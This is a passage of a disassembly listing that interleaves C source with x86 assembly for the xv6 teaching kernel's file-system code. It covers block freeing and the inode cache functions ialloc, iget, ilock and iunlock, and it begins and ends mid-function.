80101463: e8 fe 21 00 00 call 80103666 <log_write>
brelse(bp);
80101468: 8b 45 ec mov -0x14(%ebp),%eax
8010146b: 89 04 24 mov %eax,(%esp)
8010146e: e8 a4 ed ff ff call 80100217 <brelse>
bzero(dev, b + bi);
80101473: 8b 45 f0 mov -0x10(%ebp),%eax
80101476: 8b 55 f4 mov -0xc(%ebp),%edx
80101479: 01 c2 add %eax,%edx
8010147b: 8b 45 08 mov 0x8(%ebp),%eax
8010147e: 89 54 24 04 mov %edx,0x4(%esp)
80101482: 89 04 24 mov %eax,(%esp)
80101485: e8 b4 fe ff ff call 8010133e <bzero>
return b + bi;
8010148a: 8b 45 f0 mov -0x10(%ebp),%eax
8010148d: 8b 55 f4 mov -0xc(%ebp),%edx
80101490: 01 d0 add %edx,%eax
}
}
brelse(bp);
}
panic("balloc: out of blocks");
}
80101492: 83 c4 34 add $0x34,%esp
80101495: 5b pop %ebx
80101496: 5d pop %ebp
80101497: c3 ret
bp = 0;
readsb(dev, &sb);
for(b = 0; b < sb.size; b += BPB){
bp = bread(dev, BBLOCK(b, sb.ninodes));
for(bi = 0; bi < BPB && b + bi < sb.size; bi++){
80101498: 83 45 f0 01 addl $0x1,-0x10(%ebp)
8010149c: 81 7d f0 ff 0f 00 00 cmpl $0xfff,-0x10(%ebp)
801014a3: 7f 15 jg 801014ba <balloc+0x12b>
801014a5: 8b 45 f0 mov -0x10(%ebp),%eax
801014a8: 8b 55 f4 mov -0xc(%ebp),%edx
801014ab: 01 d0 add %edx,%eax
801014ad: 89 c2 mov %eax,%edx
801014af: 8b 45 d8 mov -0x28(%ebp),%eax
801014b2: 39 c2 cmp %eax,%edx
801014b4: 0f 82 3b ff ff ff jb 801013f5 <balloc+0x66>
brelse(bp);
bzero(dev, b + bi);
return b + bi;
}
}
brelse(bp);
801014ba: 8b 45 ec mov -0x14(%ebp),%eax
801014bd: 89 04 24 mov %eax,(%esp)
801014c0: e8 52 ed ff ff call 80100217 <brelse>
struct buf *bp;
struct superblock sb;
bp = 0;
readsb(dev, &sb);
for(b = 0; b < sb.size; b += BPB){
801014c5: 81 45 f4 00 10 00 00 addl $0x1000,-0xc(%ebp)
801014cc: 8b 55 f4 mov -0xc(%ebp),%edx
801014cf: 8b 45 d8 mov -0x28(%ebp),%eax
801014d2: 39 c2 cmp %eax,%edx
801014d4: 0f 82 e1 fe ff ff jb 801013bb <balloc+0x2c>
return b + bi;
}
}
brelse(bp);
}
panic("balloc: out of blocks");
801014da: c7 04 24 d1 8a 10 80 movl $0x80108ad1,(%esp)
801014e1: e8 57 f0 ff ff call 8010053d <panic>
801014e6 <bfree>:
}
// Free a disk block.
static void
bfree(int dev, uint b)
{
801014e6: 55 push %ebp
801014e7: 89 e5 mov %esp,%ebp
801014e9: 53 push %ebx
801014ea: 83 ec 34 sub $0x34,%esp
struct buf *bp;
struct superblock sb;
int bi, m;
readsb(dev, &sb);
801014ed: 8d 45 dc lea -0x24(%ebp),%eax
801014f0: 89 44 24 04 mov %eax,0x4(%esp)
801014f4: 8b 45 08 mov 0x8(%ebp),%eax
801014f7: 89 04 24 mov %eax,(%esp)
801014fa: e8 f9 fd ff ff call 801012f8 <readsb>
bp = bread(dev, BBLOCK(b, sb.ninodes));
801014ff: 8b 45 0c mov 0xc(%ebp),%eax
80101502: 89 c2 mov %eax,%edx
80101504: c1 ea 0c shr $0xc,%edx
80101507: 8b 45 e4 mov -0x1c(%ebp),%eax
8010150a: c1 e8 03 shr $0x3,%eax
8010150d: 01 d0 add %edx,%eax
8010150f: 8d 50 03 lea 0x3(%eax),%edx
80101512: 8b 45 08 mov 0x8(%ebp),%eax
80101515: 89 54 24 04 mov %edx,0x4(%esp)
80101519: 89 04 24 mov %eax,(%esp)
8010151c: e8 85 ec ff ff call 801001a6 <bread>
80101521: 89 45 f4 mov %eax,-0xc(%ebp)
bi = b % BPB;
80101524: 8b 45 0c mov 0xc(%ebp),%eax
80101527: 25 ff 0f 00 00 and $0xfff,%eax
8010152c: 89 45 f0 mov %eax,-0x10(%ebp)
m = 1 << (bi % 8);
8010152f: 8b 45 f0 mov -0x10(%ebp),%eax
80101532: 89 c2 mov %eax,%edx
80101534: c1 fa 1f sar $0x1f,%edx
80101537: c1 ea 1d shr $0x1d,%edx
8010153a: 01 d0 add %edx,%eax
8010153c: 83 e0 07 and $0x7,%eax
8010153f: 29 d0 sub %edx,%eax
80101541: ba 01 00 00 00 mov $0x1,%edx
80101546: 89 d3 mov %edx,%ebx
80101548: 89 c1 mov %eax,%ecx
8010154a: d3 e3 shl %cl,%ebx
8010154c: 89 d8 mov %ebx,%eax
8010154e: 89 45 ec mov %eax,-0x14(%ebp)
if((bp->data[bi/8] & m) == 0)
80101551: 8b 45 f0 mov -0x10(%ebp),%eax
80101554: 8d 50 07 lea 0x7(%eax),%edx
80101557: 85 c0 test %eax,%eax
80101559: 0f 48 c2 cmovs %edx,%eax
8010155c: c1 f8 03 sar $0x3,%eax
8010155f: 8b 55 f4 mov -0xc(%ebp),%edx
80101562: 0f b6 44 02 18 movzbl 0x18(%edx,%eax,1),%eax
80101567: 0f b6 c0 movzbl %al,%eax
8010156a: 23 45 ec and -0x14(%ebp),%eax
8010156d: 85 c0 test %eax,%eax
8010156f: 75 0c jne 8010157d <bfree+0x97>
panic("freeing free block");
80101571: c7 04 24 e7 8a 10 80 movl $0x80108ae7,(%esp)
80101578: e8 c0 ef ff ff call 8010053d <panic>
bp->data[bi/8] &= ~m;
8010157d: 8b 45 f0 mov -0x10(%ebp),%eax
80101580: 8d 50 07 lea 0x7(%eax),%edx
80101583: 85 c0 test %eax,%eax
80101585: 0f 48 c2 cmovs %edx,%eax
80101588: c1 f8 03 sar $0x3,%eax
8010158b: 8b 55 f4 mov -0xc(%ebp),%edx
8010158e: 0f b6 54 02 18 movzbl 0x18(%edx,%eax,1),%edx
80101593: 8b 4d ec mov -0x14(%ebp),%ecx
80101596: f7 d1 not %ecx
80101598: 21 ca and %ecx,%edx
8010159a: 89 d1 mov %edx,%ecx
8010159c: 8b 55 f4 mov -0xc(%ebp),%edx
8010159f: 88 4c 02 18 mov %cl,0x18(%edx,%eax,1)
log_write(bp);
801015a3: 8b 45 f4 mov -0xc(%ebp),%eax
801015a6: 89 04 24 mov %eax,(%esp)
801015a9: e8 b8 20 00 00 call 80103666 <log_write>
brelse(bp);
801015ae: 8b 45 f4 mov -0xc(%ebp),%eax
801015b1: 89 04 24 mov %eax,(%esp)
801015b4: e8 5e ec ff ff call 80100217 <brelse>
}
801015b9: 83 c4 34 add $0x34,%esp
801015bc: 5b pop %ebx
801015bd: 5d pop %ebp
801015be: c3 ret
801015bf <iinit>:
struct inode inode[NINODE];
} icache;
void
iinit(void)
{
801015bf: 55 push %ebp
801015c0: 89 e5 mov %esp,%ebp
801015c2: 83 ec 18 sub $0x18,%esp
initlock(&icache.lock, "icache");
801015c5: c7 44 24 04 fa 8a 10 movl $0x80108afa,0x4(%esp)
801015cc: 80
801015cd: c7 04 24 60 22 11 80 movl $0x80112260,(%esp)
801015d4: e8 15 3d 00 00 call 801052ee <initlock>
}
801015d9: c9 leave
801015da: c3 ret
801015db <ialloc>:
//PAGEBREAK!
// Allocate a new inode with the given type on device dev.
// A free inode has a type of zero.
struct inode*
ialloc(uint dev, short type)
{
801015db: 55 push %ebp
801015dc: 89 e5 mov %esp,%ebp
801015de: 83 ec 48 sub $0x48,%esp
801015e1: 8b 45 0c mov 0xc(%ebp),%eax
801015e4: 66 89 45 d4 mov %ax,-0x2c(%ebp)
int inum;
struct buf *bp;
struct dinode *dip;
struct superblock sb;
readsb(dev, &sb);
801015e8: 8b 45 08 mov 0x8(%ebp),%eax
801015eb: 8d 55 dc lea -0x24(%ebp),%edx
801015ee: 89 54 24 04 mov %edx,0x4(%esp)
801015f2: 89 04 24 mov %eax,(%esp)
801015f5: e8 fe fc ff ff call 801012f8 <readsb>
for(inum = 1; inum < sb.ninodes; inum++){
801015fa: c7 45 f4 01 00 00 00 movl $0x1,-0xc(%ebp)
80101601: e9 98 00 00 00 jmp 8010169e <ialloc+0xc3>
bp = bread(dev, IBLOCK(inum));
80101606: 8b 45 f4 mov -0xc(%ebp),%eax
80101609: c1 e8 03 shr $0x3,%eax
8010160c: 83 c0 02 add $0x2,%eax
8010160f: 89 44 24 04 mov %eax,0x4(%esp)
80101613: 8b 45 08 mov 0x8(%ebp),%eax
80101616: 89 04 24 mov %eax,(%esp)
80101619: e8 88 eb ff ff call 801001a6 <bread>
8010161e: 89 45 f0 mov %eax,-0x10(%ebp)
dip = (struct dinode*)bp->data + inum%IPB;
80101621: 8b 45 f0 mov -0x10(%ebp),%eax
80101624: 8d 50 18 lea 0x18(%eax),%edx
80101627: 8b 45 f4 mov -0xc(%ebp),%eax
8010162a: 83 e0 07 and $0x7,%eax
8010162d: c1 e0 06 shl $0x6,%eax
80101630: 01 d0 add %edx,%eax
80101632: 89 45 ec mov %eax,-0x14(%ebp)
if(dip->type == 0){ // a free inode
80101635: 8b 45 ec mov -0x14(%ebp),%eax
80101638: 0f b7 00 movzwl (%eax),%eax
8010163b: 66 85 c0 test %ax,%ax
8010163e: 75 4f jne 8010168f <ialloc+0xb4>
memset(dip, 0, sizeof(*dip));
80101640: c7 44 24 08 40 00 00 movl $0x40,0x8(%esp)
80101647: 00
80101648: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
8010164f: 00
80101650: 8b 45 ec mov -0x14(%ebp),%eax
80101653: 89 04 24 mov %eax,(%esp)
80101656: e8 03 3f 00 00 call 8010555e <memset>
dip->type = type;
8010165b: 8b 45 ec mov -0x14(%ebp),%eax
8010165e: 0f b7 55 d4 movzwl -0x2c(%ebp),%edx
80101662: 66 89 10 mov %dx,(%eax)
log_write(bp); // mark it allocated on the disk
80101665: 8b 45 f0 mov -0x10(%ebp),%eax
80101668: 89 04 24 mov %eax,(%esp)
8010166b: e8 f6 1f 00 00 call 80103666 <log_write>
brelse(bp);
80101670: 8b 45 f0 mov -0x10(%ebp),%eax
80101673: 89 04 24 mov %eax,(%esp)
80101676: e8 9c eb ff ff call 80100217 <brelse>
return iget(dev, inum);
8010167b: 8b 45 f4 mov -0xc(%ebp),%eax
8010167e: 89 44 24 04 mov %eax,0x4(%esp)
80101682: 8b 45 08 mov 0x8(%ebp),%eax
80101685: 89 04 24 mov %eax,(%esp)
80101688: e8 e3 00 00 00 call 80101770 <iget>
}
brelse(bp);
}
panic("ialloc: no inodes");
}
8010168d: c9 leave
8010168e: c3 ret
dip->type = type;
log_write(bp); // mark it allocated on the disk
brelse(bp);
return iget(dev, inum);
}
brelse(bp);
8010168f: 8b 45 f0 mov -0x10(%ebp),%eax
80101692: 89 04 24 mov %eax,(%esp)
80101695: e8 7d eb ff ff call 80100217 <brelse>
struct dinode *dip;
struct superblock sb;
readsb(dev, &sb);
for(inum = 1; inum < sb.ninodes; inum++){
8010169a: 83 45 f4 01 addl $0x1,-0xc(%ebp)
8010169e: 8b 55 f4 mov -0xc(%ebp),%edx
801016a1: 8b 45 e4 mov -0x1c(%ebp),%eax
801016a4: 39 c2 cmp %eax,%edx
801016a6: 0f 82 5a ff ff ff jb 80101606 <ialloc+0x2b>
brelse(bp);
return iget(dev, inum);
}
brelse(bp);
}
panic("ialloc: no inodes");
801016ac: c7 04 24 01 8b 10 80 movl $0x80108b01,(%esp)
801016b3: e8 85 ee ff ff call 8010053d <panic>
801016b8 <iupdate>:
}
// Copy a modified in-memory inode to disk.
void
iupdate(struct inode *ip)
{
801016b8: 55 push %ebp
801016b9: 89 e5 mov %esp,%ebp
801016bb: 83 ec 28 sub $0x28,%esp
struct buf *bp;
struct dinode *dip;
bp = bread(ip->dev, IBLOCK(ip->inum));
801016be: 8b 45 08 mov 0x8(%ebp),%eax
801016c1: 8b 40 04 mov 0x4(%eax),%eax
801016c4: c1 e8 03 shr $0x3,%eax
801016c7: 8d 50 02 lea 0x2(%eax),%edx
801016ca: 8b 45 08 mov 0x8(%ebp),%eax
801016cd: 8b 00 mov (%eax),%eax
801016cf: 89 54 24 04 mov %edx,0x4(%esp)
801016d3: 89 04 24 mov %eax,(%esp)
801016d6: e8 cb ea ff ff call 801001a6 <bread>
801016db: 89 45 f4 mov %eax,-0xc(%ebp)
dip = (struct dinode*)bp->data + ip->inum%IPB;
801016de: 8b 45 f4 mov -0xc(%ebp),%eax
801016e1: 8d 50 18 lea 0x18(%eax),%edx
801016e4: 8b 45 08 mov 0x8(%ebp),%eax
801016e7: 8b 40 04 mov 0x4(%eax),%eax
801016ea: 83 e0 07 and $0x7,%eax
801016ed: c1 e0 06 shl $0x6,%eax
801016f0: 01 d0 add %edx,%eax
801016f2: 89 45 f0 mov %eax,-0x10(%ebp)
dip->type = ip->type;
801016f5: 8b 45 08 mov 0x8(%ebp),%eax
801016f8: 0f b7 50 10 movzwl 0x10(%eax),%edx
801016fc: 8b 45 f0 mov -0x10(%ebp),%eax
801016ff: 66 89 10 mov %dx,(%eax)
dip->major = ip->major;
80101702: 8b 45 08 mov 0x8(%ebp),%eax
80101705: 0f b7 50 12 movzwl 0x12(%eax),%edx
80101709: 8b 45 f0 mov -0x10(%ebp),%eax
8010170c: 66 89 50 02 mov %dx,0x2(%eax)
dip->minor = ip->minor;
80101710: 8b 45 08 mov 0x8(%ebp),%eax
80101713: 0f b7 50 14 movzwl 0x14(%eax),%edx
80101717: 8b 45 f0 mov -0x10(%ebp),%eax
8010171a: 66 89 50 04 mov %dx,0x4(%eax)
dip->nlink = ip->nlink;
8010171e: 8b 45 08 mov 0x8(%ebp),%eax
80101721: 0f b7 50 16 movzwl 0x16(%eax),%edx
80101725: 8b 45 f0 mov -0x10(%ebp),%eax
80101728: 66 89 50 06 mov %dx,0x6(%eax)
dip->size = ip->size;
8010172c: 8b 45 08 mov 0x8(%ebp),%eax
8010172f: 8b 50 18 mov 0x18(%eax),%edx
80101732: 8b 45 f0 mov -0x10(%ebp),%eax
80101735: 89 50 08 mov %edx,0x8(%eax)
memmove(dip->addrs, ip->addrs, sizeof(ip->addrs));
80101738: 8b 45 08 mov 0x8(%ebp),%eax
8010173b: 8d 50 1c lea 0x1c(%eax),%edx
8010173e: 8b 45 f0 mov -0x10(%ebp),%eax
80101741: 83 c0 0c add $0xc,%eax
80101744: c7 44 24 08 34 00 00 movl $0x34,0x8(%esp)
8010174b: 00
8010174c: 89 54 24 04 mov %edx,0x4(%esp)
80101750: 89 04 24 mov %eax,(%esp)
80101753: e8 d9 3e 00 00 call 80105631 <memmove>
log_write(bp);
80101758: 8b 45 f4 mov -0xc(%ebp),%eax
8010175b: 89 04 24 mov %eax,(%esp)
8010175e: e8 03 1f 00 00 call 80103666 <log_write>
brelse(bp);
80101763: 8b 45 f4 mov -0xc(%ebp),%eax
80101766: 89 04 24 mov %eax,(%esp)
80101769: e8 a9 ea ff ff call 80100217 <brelse>
}
8010176e: c9 leave
8010176f: c3 ret
80101770 <iget>:
// Find the inode with number inum on device dev
// and return the in-memory copy. Does not lock
// the inode and does not read it from disk.
static struct inode*
iget(uint dev, uint inum)
{
80101770: 55 push %ebp
80101771: 89 e5 mov %esp,%ebp
80101773: 83 ec 28 sub $0x28,%esp
struct inode *ip, *empty;
acquire(&icache.lock);
80101776: c7 04 24 60 22 11 80 movl $0x80112260,(%esp)
8010177d: e8 8d 3b 00 00 call 8010530f <acquire>
// Is the inode already cached?
empty = 0;
80101782: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){
80101789: c7 45 f4 94 22 11 80 movl $0x80112294,-0xc(%ebp)
80101790: eb 59 jmp 801017eb <iget+0x7b>
if(ip->ref > 0 && ip->dev == dev && ip->inum == inum){
80101792: 8b 45 f4 mov -0xc(%ebp),%eax
80101795: 8b 40 08 mov 0x8(%eax),%eax
80101798: 85 c0 test %eax,%eax
8010179a: 7e 35 jle 801017d1 <iget+0x61>
8010179c: 8b 45 f4 mov -0xc(%ebp),%eax
8010179f: 8b 00 mov (%eax),%eax
801017a1: 3b 45 08 cmp 0x8(%ebp),%eax
801017a4: 75 2b jne 801017d1 <iget+0x61>
801017a6: 8b 45 f4 mov -0xc(%ebp),%eax
801017a9: 8b 40 04 mov 0x4(%eax),%eax
801017ac: 3b 45 0c cmp 0xc(%ebp),%eax
801017af: 75 20 jne 801017d1 <iget+0x61>
ip->ref++;
801017b1: 8b 45 f4 mov -0xc(%ebp),%eax
801017b4: 8b 40 08 mov 0x8(%eax),%eax
801017b7: 8d 50 01 lea 0x1(%eax),%edx
801017ba: 8b 45 f4 mov -0xc(%ebp),%eax
801017bd: 89 50 08 mov %edx,0x8(%eax)
release(&icache.lock);
801017c0: c7 04 24 60 22 11 80 movl $0x80112260,(%esp)
801017c7: e8 a5 3b 00 00 call 80105371 <release>
return ip;
801017cc: 8b 45 f4 mov -0xc(%ebp),%eax
801017cf: eb 6f jmp 80101840 <iget+0xd0>
}
if(empty == 0 && ip->ref == 0) // Remember empty slot.
801017d1: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
801017d5: 75 10 jne 801017e7 <iget+0x77>
801017d7: 8b 45 f4 mov -0xc(%ebp),%eax
801017da: 8b 40 08 mov 0x8(%eax),%eax
801017dd: 85 c0 test %eax,%eax
801017df: 75 06 jne 801017e7 <iget+0x77>
empty = ip;
801017e1: 8b 45 f4 mov -0xc(%ebp),%eax
801017e4: 89 45 f0 mov %eax,-0x10(%ebp)
acquire(&icache.lock);
// Is the inode already cached?
empty = 0;
for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){
801017e7: 83 45 f4 50 addl $0x50,-0xc(%ebp)
801017eb: 81 7d f4 34 32 11 80 cmpl $0x80113234,-0xc(%ebp)
801017f2: 72 9e jb 80101792 <iget+0x22>
if(empty == 0 && ip->ref == 0) // Remember empty slot.
empty = ip;
}
// Recycle an inode cache entry.
if(empty == 0)
801017f4: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
801017f8: 75 0c jne 80101806 <iget+0x96>
panic("iget: no inodes");
801017fa: c7 04 24 13 8b 10 80 movl $0x80108b13,(%esp)
80101801: e8 37 ed ff ff call 8010053d <panic>
ip = empty;
80101806: 8b 45 f0 mov -0x10(%ebp),%eax
80101809: 89 45 f4 mov %eax,-0xc(%ebp)
ip->dev = dev;
8010180c: 8b 45 f4 mov -0xc(%ebp),%eax
8010180f: 8b 55 08 mov 0x8(%ebp),%edx
80101812: 89 10 mov %edx,(%eax)
ip->inum = inum;
80101814: 8b 45 f4 mov -0xc(%ebp),%eax
80101817: 8b 55 0c mov 0xc(%ebp),%edx
8010181a: 89 50 04 mov %edx,0x4(%eax)
ip->ref = 1;
8010181d: 8b 45 f4 mov -0xc(%ebp),%eax
80101820: c7 40 08 01 00 00 00 movl $0x1,0x8(%eax)
ip->flags = 0;
80101827: 8b 45 f4 mov -0xc(%ebp),%eax
8010182a: c7 40 0c 00 00 00 00 movl $0x0,0xc(%eax)
release(&icache.lock);
80101831: c7 04 24 60 22 11 80 movl $0x80112260,(%esp)
80101838: e8 34 3b 00 00 call 80105371 <release>
return ip;
8010183d: 8b 45 f4 mov -0xc(%ebp),%eax
}
80101840: c9 leave
80101841: c3 ret
80101842 <idup>:
// Increment reference count for ip.
// Returns ip to enable ip = idup(ip1) idiom.
struct inode*
idup(struct inode *ip)
{
80101842: 55 push %ebp
80101843: 89 e5 mov %esp,%ebp
80101845: 83 ec 18 sub $0x18,%esp
acquire(&icache.lock);
80101848: c7 04 24 60 22 11 80 movl $0x80112260,(%esp)
8010184f: e8 bb 3a 00 00 call 8010530f <acquire>
ip->ref++;
80101854: 8b 45 08 mov 0x8(%ebp),%eax
80101857: 8b 40 08 mov 0x8(%eax),%eax
8010185a: 8d 50 01 lea 0x1(%eax),%edx
8010185d: 8b 45 08 mov 0x8(%ebp),%eax
80101860: 89 50 08 mov %edx,0x8(%eax)
release(&icache.lock);
80101863: c7 04 24 60 22 11 80 movl $0x80112260,(%esp)
8010186a: e8 02 3b 00 00 call 80105371 <release>
return ip;
8010186f: 8b 45 08 mov 0x8(%ebp),%eax
}
80101872: c9 leave
80101873: c3 ret
80101874 <ilock>:
// Lock the given inode.
// Reads the inode from disk if necessary.
void
ilock(struct inode *ip)
{
80101874: 55 push %ebp
80101875: 89 e5 mov %esp,%ebp
80101877: 83 ec 28 sub $0x28,%esp
struct buf *bp;
struct dinode *dip;
if(ip == 0 || ip->ref < 1)
8010187a: 83 7d 08 00 cmpl $0x0,0x8(%ebp)
8010187e: 74 0a je 8010188a <ilock+0x16>
80101880: 8b 45 08 mov 0x8(%ebp),%eax
80101883: 8b 40 08 mov 0x8(%eax),%eax
80101886: 85 c0 test %eax,%eax
80101888: 7f 0c jg 80101896 <ilock+0x22>
panic("ilock");
8010188a: c7 04 24 23 8b 10 80 movl $0x80108b23,(%esp)
80101891: e8 a7 ec ff ff call 8010053d <panic>
acquire(&icache.lock);
80101896: c7 04 24 60 22 11 80 movl $0x80112260,(%esp)
8010189d: e8 6d 3a 00 00 call 8010530f <acquire>
while(ip->flags & I_BUSY)
801018a2: eb 13 jmp 801018b7 <ilock+0x43>
sleep(ip, &icache.lock);
801018a4: c7 44 24 04 60 22 11 movl $0x80112260,0x4(%esp)
801018ab: 80
801018ac: 8b 45 08 mov 0x8(%ebp),%eax
801018af: 89 04 24 mov %eax,(%esp)
801018b2: e8 70 37 00 00 call 80105027 <sleep>
if(ip == 0 || ip->ref < 1)
panic("ilock");
acquire(&icache.lock);
while(ip->flags & I_BUSY)
801018b7: 8b 45 08 mov 0x8(%ebp),%eax
801018ba: 8b 40 0c mov 0xc(%eax),%eax
801018bd: 83 e0 01 and $0x1,%eax
801018c0: 84 c0 test %al,%al
801018c2: 75 e0 jne 801018a4 <ilock+0x30>
sleep(ip, &icache.lock);
ip->flags |= I_BUSY;
801018c4: 8b 45 08 mov 0x8(%ebp),%eax
801018c7: 8b 40 0c mov 0xc(%eax),%eax
801018ca: 89 c2 mov %eax,%edx
801018cc: 83 ca 01 or $0x1,%edx
801018cf: 8b 45 08 mov 0x8(%ebp),%eax
801018d2: 89 50 0c mov %edx,0xc(%eax)
release(&icache.lock);
801018d5: c7 04 24 60 22 11 80 movl $0x80112260,(%esp)
801018dc: e8 90 3a 00 00 call 80105371 <release>
if(!(ip->flags & I_VALID)){
801018e1: 8b 45 08 mov 0x8(%ebp),%eax
801018e4: 8b 40 0c mov 0xc(%eax),%eax
801018e7: 83 e0 02 and $0x2,%eax
801018ea: 85 c0 test %eax,%eax
801018ec: 0f 85 ce 00 00 00 jne 801019c0 <ilock+0x14c>
bp = bread(ip->dev, IBLOCK(ip->inum));
801018f2: 8b 45 08 mov 0x8(%ebp),%eax
801018f5: 8b 40 04 mov 0x4(%eax),%eax
801018f8: c1 e8 03 shr $0x3,%eax
801018fb: 8d 50 02 lea 0x2(%eax),%edx
801018fe: 8b 45 08 mov 0x8(%ebp),%eax
80101901: 8b 00 mov (%eax),%eax
80101903: 89 54 24 04 mov %edx,0x4(%esp)
80101907: 89 04 24 mov %eax,(%esp)
8010190a: e8 97 e8 ff ff call 801001a6 <bread>
8010190f: 89 45 f4 mov %eax,-0xc(%ebp)
dip = (struct dinode*)bp->data + ip->inum%IPB;
80101912: 8b 45 f4 mov -0xc(%ebp),%eax
80101915: 8d 50 18 lea 0x18(%eax),%edx
80101918: 8b 45 08 mov 0x8(%ebp),%eax
8010191b: 8b 40 04 mov 0x4(%eax),%eax
8010191e: 83 e0 07 and $0x7,%eax
80101921: c1 e0 06 shl $0x6,%eax
80101924: 01 d0 add %edx,%eax
80101926: 89 45 f0 mov %eax,-0x10(%ebp)
ip->type = dip->type;
80101929: 8b 45 f0 mov -0x10(%ebp),%eax
8010192c: 0f b7 10 movzwl (%eax),%edx
8010192f: 8b 45 08 mov 0x8(%ebp),%eax
80101932: 66 89 50 10 mov %dx,0x10(%eax)
ip->major = dip->major;
80101936: 8b 45 f0 mov -0x10(%ebp),%eax
80101939: 0f b7 50 02 movzwl 0x2(%eax),%edx
8010193d: 8b 45 08 mov 0x8(%ebp),%eax
80101940: 66 89 50 12 mov %dx,0x12(%eax)
ip->minor = dip->minor;
80101944: 8b 45 f0 mov -0x10(%ebp),%eax
80101947: 0f b7 50 04 movzwl 0x4(%eax),%edx
8010194b: 8b 45 08 mov 0x8(%ebp),%eax
8010194e: 66 89 50 14 mov %dx,0x14(%eax)
ip->nlink = dip->nlink;
80101952: 8b 45 f0 mov -0x10(%ebp),%eax
80101955: 0f b7 50 06 movzwl 0x6(%eax),%edx
80101959: 8b 45 08 mov 0x8(%ebp),%eax
8010195c: 66 89 50 16 mov %dx,0x16(%eax)
ip->size = dip->size;
80101960: 8b 45 f0 mov -0x10(%ebp),%eax
80101963: 8b 50 08 mov 0x8(%eax),%edx
80101966: 8b 45 08 mov 0x8(%ebp),%eax
80101969: 89 50 18 mov %edx,0x18(%eax)
memmove(ip->addrs, dip->addrs, sizeof(ip->addrs));
8010196c: 8b 45 f0 mov -0x10(%ebp),%eax
8010196f: 8d 50 0c lea 0xc(%eax),%edx
80101972: 8b 45 08 mov 0x8(%ebp),%eax
80101975: 83 c0 1c add $0x1c,%eax
80101978: c7 44 24 08 34 00 00 movl $0x34,0x8(%esp)
8010197f: 00
80101980: 89 54 24 04 mov %edx,0x4(%esp)
80101984: 89 04 24 mov %eax,(%esp)
80101987: e8 a5 3c 00 00 call 80105631 <memmove>
brelse(bp);
8010198c: 8b 45 f4 mov -0xc(%ebp),%eax
8010198f: 89 04 24 mov %eax,(%esp)
80101992: e8 80 e8 ff ff call 80100217 <brelse>
ip->flags |= I_VALID;
80101997: 8b 45 08 mov 0x8(%ebp),%eax
8010199a: 8b 40 0c mov 0xc(%eax),%eax
8010199d: 89 c2 mov %eax,%edx
8010199f: 83 ca 02 or $0x2,%edx
801019a2: 8b 45 08 mov 0x8(%ebp),%eax
801019a5: 89 50 0c mov %edx,0xc(%eax)
if(ip->type == 0)
801019a8: 8b 45 08 mov 0x8(%ebp),%eax
801019ab: 0f b7 40 10 movzwl 0x10(%eax),%eax
801019af: 66 85 c0 test %ax,%ax
801019b2: 75 0c jne 801019c0 <ilock+0x14c>
panic("ilock: no type");
801019b4: c7 04 24 29 8b 10 80 movl $0x80108b29,(%esp)
801019bb: e8 7d eb ff ff call 8010053d <panic>
}
}
801019c0: c9 leave
801019c1: c3 ret
801019c2 <iunlock>:
// Unlock the given inode.
void
iunlock(struct inode *ip)
{
801019c2: 55 push %ebp
801019c3: 89 e5 mov %esp,%ebp
801019c5: 83 ec 18 sub $0x18,%esp
if(ip == 0 || !(ip->flags & I_BUSY) || ip->ref < 1)
801019c8: 83 7d 08 00 cmpl $0x0,0x8(%ebp)
801019cc: 74 17 je 801019e5 <iunlock+0x23>
801019ce: 8b 45 08 mov 0x8(%ebp),%eax
801019d1: 8b 40 0c mov 0xc(%eax),%eax
801019d4: 83 e0 01 and $0x1,%eax
801019d7: 85 c0 test %eax,%eax
801019d9: 74 0a je 801019e5 <iunlock+0x23>
801019db: 8b 45 08 mov 0x8(%ebp),%eax
801019de: 8b 40 08 mov 0x8(%eax),%eax
801019e1: 85 c0 test %eax,%eax
801019e3: 7f 0c jg 801019f1 <iunlock+0x2f>
panic("iunlock");
801019e5: c7 04 24 38 8b 10 80 movl $0x80108b38,(%esp)
801019ec: e8 4c eb ff ff call 8010053d <panic>
acquire(&icache.lock);
801019f1: c7 04 24 60 22 11 80 movl $0x80112260,(%esp)
801019f8: e8 12 39 00 00 call 8010530f <acquire>
ip->flags &= ~I_BUSY;
801019fd: 8b 45 08 mov 0x8(%ebp),%eax
80101a00: 8b 40 0c mov 0xc(%eax),%eax
80101a03: 89 c2 mov %eax,%edx
80101a05: 83 e2 fe and $0xfffffffe,%edx
80101a08: 8b 45 08 mov 0x8(%ebp),%eax
80101a0b: 89 50 0c mov %edx,0xc(%eax)
wakeup(ip);
80101a0e: 8b 45 08 mov 0x8(%ebp),%eax
80101a11: 89 04 24 mov %eax,(%esp)
80101a14: e8 ea 36 00 00 call 80105103 <wakeup>
release(&icache.lock);
80101a19: c7 04 24 60 22 11 80 movl $0x80112260,(%esp)
80101a20: e8 4c 39 00 00 call 80105371 <release>
}
80101a25: c9 leave
80101a26: c3 ret
80101a27 <iput>:
// to it, free the inode (and its content) on disk.
// All calls to iput() must be inside a transaction in
// case it has to free the inode.
void
iput(struct inode *ip)
{
80101a27: 55 push %ebp
80101a28: 89 e5 mov %esp,%ebp
80101a2a: 83 ec 18 sub $0x18,%esp
acquire(&icache.lock);
80101a2d: c7 04 24 60 22 11 80 movl $0x80112260,(%esp)
80101a34: e8 d6 38 00 00 call 8010530f <acquire>
if(ip->ref == 1 && (ip->flags & I_VALID) && ip->nlink == 0){
80101a39: 8b 45 08 mov 0x8(%ebp),%eax
80101a3c: 8b 40 08 mov 0x8(%eax),%eax
80101a3f: 83 f8 01 cmp $0x1,%eax
80101a42: 0f 85 93 00 00 00 jne 80101adb <iput+0xb4>
80101a48: 8b 45 08 mov 0x8(%ebp),%eax
80101a4b: 8b 40 0c mov 0xc(%eax),%eax
80101a4e: 83 e0 02 and $0x2,%eax
80101a51: 85 c0 test %eax,%eax
80101a53: 0f 84 82 00 00 00 je 80101adb <iput+0xb4>
80101a59: 8b 45 08 mov 0x8(%ebp),%eax
80101a5c: 0f b7 40 16 movzwl 0x16(%eax),%eax
80101a60: 66 85 c0 test %ax,%ax
80101a63: 75 76 jne 80101adb <iput+0xb4>
// inode has no links and no other references: truncate and free.
if(ip->flags & I_BUSY)
80101a65: 8b 45 08 mov 0x8(%ebp),%eax
80101a68: 8b 40 0c mov 0xc(%eax),%eax
